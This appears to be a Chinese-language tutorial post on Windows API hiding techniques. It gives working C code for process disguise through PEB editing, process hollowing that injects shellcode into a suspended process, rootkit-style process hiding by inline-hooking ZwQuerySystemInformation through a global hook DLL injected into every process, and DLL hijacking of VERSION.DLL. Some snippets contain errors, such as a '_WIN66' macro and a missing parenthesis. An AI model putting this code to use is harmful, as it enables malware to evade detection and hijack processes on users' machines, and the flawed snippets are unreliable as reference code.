WindowsAPI编程核心技术-隐藏技术

进程伪装

NtQueryInformationProcess

1
2
3
4
5
6
7
8
9
10
11
12
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
//要获取信息的进程句柄
_In_ PROCESSINFOCLASS ProcessInformationClass,
//要获取的进程信息的类型
_Out_ PVOID ProcessInformation,
//请求的信息
_In_ ULONG ProcessInformationLength,
//缓冲区大小
_Out_opt_ PULONG ReturnLength
//所请求信息的大小
)//返回NTSTATUS成功或错误代码

PROCESS_BASIC_INFORMATION

1
2
3
4
5
6
7
typedef struct _PROCESS_BASIC_INFORMATION{
PVOID Reserved1;
PPEB PebBaseAddress; //PEB结构
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId; //系统唯一标识符
PVOID Reserved3;
}PROCESS_BASIC_INFORMATION;

例子

先手动从ntdll.dll中获取NtQueryInformationProcess函数,再获取指定进程PEB。因为存在进程隔离,对其他进程的读写只能通过ReadProcessMemoryWriteProcessMemory进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<winternl.h>
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ UINT ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLengths
);
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
return FALSE;
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
return FALSE;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
return FALSE;
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
};

傀儡进程

GetThreadContext

获取指定线程上下文,x64用Wow64GetThreadContext

1
2
3
4
5
6
BOOL WINAPI GetThreadContext(
_In_ HANDLE hThread,
//要检索上下文的进程
_Inout_ LPCONTEXT lpContext
//接收上下文
)//成功非0 失败0

SetThreadContext

设定指定线程上下文,x64用Wow64SetThreadContext

1
2
3
4
5
6
BOOL WINAPI SetThreadContext(
_In_ HANDLE hThread,
//指定线程句柄
_In_ const CONTEXT* lpContext
//设置上下文结构的指针
)//成功非0 失败0

ResumeThread

减少线程暂停计数,递减到零时恢复线程执行。

1
2
3
4
DWORD WINAPI ResumeThread(
_In_ HANDLE hThread
//要重新启动线程的句柄
)//成功返回先前挂起的计数 失败(DWORD)-1

例子

修改某一进程的内存数据为shellcode,再修改EIP为该代码地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
return FALSE;
LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
return FALSE;
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
return FALSE;
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
return FALSE;
threadContext.Rip = (DWORD)lpDestBaseAddr + dwRunOffset; //x86就是.Eip
bRet = ::SetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
return FALSE;
::ResumeThread(pi.hThread);
return TRUE;
};

进程隐藏

ZwQuerySystemInformation

获取系统信息,NTDLL.DLL没有导出,用LoadLibraryGetProcAddress手动链接,但NtQuerySystemInformation已经导出了。Windows 8开始这东西就没了,有一些代替的函数。

1
2
3
4
5
6
7
8
9
10
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
//要检索的信息类型
_Inout_ PVOID SystemInformation,
//接收请求的信息 缓冲区
_In_ ULONG SystemInformationLength,
//缓冲区大小 单位字节
_Out_opt_ PULONG ReturnLength
//指向写入请求信息的实际大小的位置
)//返回NTSTATUS代码 在Ntstatus.h中列出

当SystemInformationClass为SystemBasicInformation时,SystemInformation参数要求一个指向SYSTEM_BASIC_INFORMATION的指针。为SystemProcessInformation时函数返回一个SYSTEM_PROCESS_INFORMATION结构链表,每个结构表示一个进程信息。

SYSTEM_PROCESS_INFORMATION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; //下一个该结构的偏移地址
ULONG NumberOfThreads; //线程数目
BYTE Reserved1[48];
UNICODE_STRING ImageName; //进程名称
KPRIORITY BasePriority; //进程优先级
HANDLE UniqueProcessId; //进程ID
PVOID Reserved2;
ULONG HandleCount; //句柄数目
ULONG SessionId; //会话ID
PVOID Reserved3;
SIZE_T PeakVirtualSize; //峰值虚拟内存大小
SIZE_T VirtualSize; //当前虚拟内存大小
ULONG Reserved4;
SIZE_T PeakWorkingSetSize; //峰值工作集大小
SIZE_T WorkingSetSize; //当前工作集大小
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage; //分页池使用配额
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage; //非分页池使用配额
SIZE_T PagefileUsage; //进程提交的内存总量
SIZE_T PeakPagefileUsage; //进程提交的内存总量峰值
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

例子

遍历进程一般用EnumProcessesCreateToolhelp32Snapshot来实现,这俩都用的ZwQuerySystemInformation来实现,所以HOOK这玩意儿就行了。这里使用Inline HOOK的方法,将ZwQuerySystemInformation的前几字节改为jmp无条件跳转到假的函数地址即可。x86要改前$5$字节,x64要改前$12$字节。别忘了备份前几字节UnHOOK的时候恢复用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <winternl.h>
BYTE g_OldData32[5] = { 0 };
BYTE g_OldData64[12] = { 0 };
void HookApi(void);
void UnhookApi(void); //这玩意儿不写了 自己去写
typedef NTSTATUS(NTAPI* pfnZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS CALLBACK New_ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
) {
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwHideProcessId = 1224; //要隐藏的进程PID
UnhookApi();
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (NULL == hDll)
return status;
pfnZwQuerySystemInformation ZwQuerySystemInformation = (pfnZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
return status;
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass) { //NT_SUCCESS 即为>=0成功 status这时应为0
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) {
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
if (0 == pCur->NextEntryOffset)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将目标进程从遍历列表中卸下
else
pPrev = pCur;
if (0 == pCur->NextEntryOffset)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
};
};
HookApi();
return status;
};
void HookApi(void) {
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (NULL == hDll)
return;
pfnZwQuerySystemInformation ZwQuerySystemInformation = (pfnZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
return;
#ifndef _WIN66 //x86架构
BYTE pData[5] = { 0xE9,0,0,0,0 }; //jmp $+xxx
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData)); //备份
#else //x64架构
BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0xFF,0xE0}; //mov rax,xxx;jmp rax
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset);
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(g_OldData64));
#endif
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
return;
};

下面通过Windows钩子方式实现,但为了实现进程隐藏必须HOOK所有进程对该函数调用,这里选择安装全局消息钩子WH_GETMESSAGE将实现HOOK功能的DLL注入每个线程。全局消息钩子必须创建DLL,导出安装和卸载全局消息钩子函数。

DLL头文件:

1
2
3
4
5
6
7
8
9
#pragma once
#ifdef DLL_EXPORT
#define DLL_API extern "C" __declspec(dllexport)
#else
#define DLL_API extern "C" __declspec(dllimport)
#endif
// 导出函数
DLL_API BOOL InstallHook(int idHook, DWORD dwThreadId, DWORD dwProcessId);
DLL_API BOOL UninstallHook();

DLL源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <Windows.h>
#include <winternl.h>
#define DLL_EXPORT
#include "HookZwQuerySystemInformation.h"
#pragma data_seg(".Shared")
DWORD g_dwProcessIdHide = -1;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.Shared,RWS")
// ZwQuerySystemInformation函数指针
typedef NTSTATUS(NTAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
// 全局变量
HINSTANCE g_hMod;
HHOOK g_hHook;
BYTE g_bDataJmp32[5] = { 0 };
BYTE g_bDataJmp64[12] = { 0 };
// 消息钩子函数
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
// Hook ZwQuerySystemInformation
BOOL SetJmp();
// UnHook ZwQuerySystemInformation
BOOL ResetJmp();
// 自定义函数,对原ZwQuerySystemInformation函数获取到的进程信息列表进行处理
NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
g_hMod = hModule;
SetJmp();
break;
};
case DLL_THREAD_ATTACH: {};
case DLL_THREAD_DETACH: {
break;
};
case DLL_PROCESS_DETACH: {
ResetJmp();
break;
};
};
return TRUE;
};
// 导出函数
BOOL InstallHook(int idHook, DWORD dwThreadId, DWORD dwProcessId) {
if (!g_hHook) {
g_hHook = SetWindowsHookEx(idHook, GetMsgProc, g_hMod, dwThreadId);
if (!g_hHook)
return FALSE;
g_dwProcessIdHide = dwProcessId;
};
return TRUE;
};
BOOL UninstallHook() {
if (g_hHook)
if (!UnhookWindowsHookEx(g_hHook))
return FALSE;
g_hHook = NULL;
return TRUE;
};
// 内部函数
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
return CallNextHookEx(NULL, nCode, wParam, lParam);
};
BOOL SetJmp() {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
DWORD dwOldProtect;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
#ifndef _WIN64
BYTE bDataJmp[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
*(PINT_PTR)(bDataJmp + 1) = (INT_PTR)HookZwQuerySystemInformation - (INT_PTR)ZwQuerySystemInformation - 5;
// 保存ZwQuerySystemInformation函数的前5个字节
memcpy_s(g_bDataJmp32, sizeof(g_bDataJmp32), ZwQuerySystemInformation, sizeof(bDataJmp));
#else
BYTE bDataJmp[12] = { 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 };
*(PINT_PTR)(bDataJmp + 2) = (INT_PTR)HookZwQuerySystemInformation;
// 保存ZwQuerySystemInformation函数的前12个字节
memcpy_s(g_bDataJmp64, sizeof(g_bDataJmp64), ZwQuerySystemInformation, sizeof(bDataJmp));
#endif
// 修改页面保护属性,写入Jmp数据
VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(bDataJmp), bDataJmp, sizeof(bDataJmp));
VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), dwOldProtect, &dwOldProtect);
return TRUE;
};
BOOL ResetJmp() {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
DWORD dwOldProtect;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
#ifndef _WIN64
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp32), g_bDataJmp32, sizeof(g_bDataJmp32));
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), dwOldProtect, &dwOldProtect);
#else
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp64), g_bDataJmp64, sizeof(g_bDataJmp64));
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), dwOldProtect, &dwOldProtect);
#endif
return TRUE;
};
NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
NTSTATUS status = -1;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
// 因为首先需要执行原ZwQuerySystemInformation函数,所以先恢复函数首部数据
ResetJmp();
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation) {
pCur = pPrev = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) {
// 如果是要隐藏的进程
if ((DWORD)pCur->UniqueProcessId == g_dwProcessIdHide) {
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
if (pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pCur + pCur->NextEntryOffset);
};
};
// Hook ZwQuerySystemInformation
SetJmp();
return status;
};

调用程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
#include "HookZwQuerySystemInformation.h"
#include "resource.h"
#pragma comment(lib, "HookZwQuerySystemInformation.lib")
// 函数声明
INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, DialogProc, NULL);
return 0;
};
INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) {
DWORD dwProcessId;
switch (uMsg) {
case WM_COMMAND: {
switch (LOWORD(wParam)) {
case IDC_BTN_INSTALLHOOK: {
dwProcessId = GetDlgItemInt(hwndDlg, IDC_EDIT_PROCESSID, NULL, FALSE);
InstallHook(WH_GETMESSAGE, 0, dwProcessId);
break;
};
case IDC_BTN_UNINSTALLHOOK: {
UninstallHook();
break;
};
case IDCANCEL: {
UninstallHook();
EndDialog(hwndDlg, 0);
break;
};
};
return TRUE;
};
};
return FALSE;
};

DLL劫持

先劫持DLL,使程序调用假DLL,执行后再转发给真正的DLL完成原工作。

了解一下就行,实战用AheadLibEx一键生成。

进入x64时代后,x86的DLL路径会被自动从“C:\Windows\System32”重定向到“C:\Windows\SysWOW64”目录。

DLL函数转发

这里演示劫持VERSION.DLL文件,因为这个导出函数较少。

直接转发

将原VERSION.DLL重命名为OLD_VERSION.DLL,然后通过编译指令直接转发:

1
2
#pragma comment(linker,"/EXPORT:GetFileVersionInfoA=OLD_VERSION.GetFileVersionInfoA")
//太多了不写了

WINAPI 动态调用转发

这个方法在x64下不好使,__declspec(naked)__asm关键字在x64下不被支持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#pragma comment(linker,"/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1") //1是导出表序号
//太多了也不写了
PVOID GetFunctionAddress(const char* pszFunctionName) {
PVOID pAddr = NULL;
HMODULE hDll = NULL;
WCHAR szDllPath[MAX_PATH] = L"C:\\Windows\\System32\\VERSION.dll";
hDll = ::LoadLibrary(szDllPath);
if (NULL == hDll)
return NULL;
pAddr = ::GetProcAddress(hDll, pszFunctionName);
::FreeLibrary(hDll);
return pAddr;
};
extern "C" void __declspec(naked) DG_GetFileVersionInfoA() {
GetFunctionAddress("GetFileVersionInfoA");
__asm jmp eax
};
//太多了也不写了